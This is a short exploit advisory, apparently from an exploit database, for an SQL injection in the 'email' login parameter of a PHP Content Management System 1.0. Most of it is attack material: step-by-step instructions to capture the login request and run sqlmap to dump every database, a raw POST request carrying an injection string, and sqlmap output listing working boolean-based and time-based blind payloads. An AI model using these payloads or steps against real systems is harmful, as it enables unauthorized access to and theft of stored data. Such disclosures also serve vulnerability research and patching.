# Exploit Title: Content Management System 1.0 - 'email' SQL Injection# Exploit Author: Zhayi (Zeo)# Date: 2020-12-14# Vendor Homepage: https://www.sourcecodester.com/php/14625/content-management-system-using-phpmysqli-source-code.html# Software Link: https://www.sourcecodester.com/download-code?nid=14625&title=Content+Management+System+using+PHP%2FMySQLi+with+Source+Code# Affected Version: Version 1# Category: Web Application# Tested on: WINDOWS 10
Step 1. Capture the request of the "http://127.0.0.1/ajax.php?action=login"
page in burpsute
Step 2. Save POST the packet
Step 3. Run sqlmap on request file using command "python3 sqlmap.py -r
request.txt --random-agent --batch --dbms "mysql"--time-sec=5--no-cast
--dbs "
Step 4. This will inject successfully and you will have an information
disclosure of all databases contents
POST the packet
---
POST /ajax.php?action=login HTTP/1.1
Host:10.211.55.4
User-Agent: Mozilla/5.0(Windows NT 10.0; rv:78.0) Gecko/20100101
Firefox/78.0
Content-Length:61
Accept:*/*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: PHPSESSID=ltiafgjrnml0d8kqe58gcsk1v3
Origin: http://10.211.55.4
Referer: http://10.211.55.4/login.php
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
email=admin%40admin.com%27and%27p%27%3D%27p&password=admin123
---
SQLMAP
---
Parameter: email (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: email=admin@admin.com'and'p'='p' AND 9108=9108 AND
'WlxU'='WlxU&password=admin123
Type: time-based blind
Title: MySQL >=5.0.12 AND time-based blind (query SLEEP)
Payload: email=admin@admin.com'and'p'='p' AND (SELECT 3864 FROM
(SELECT(SLEEP(5)))pNJR) AND 'hxyZ'='hxyZ&password=admin123
---
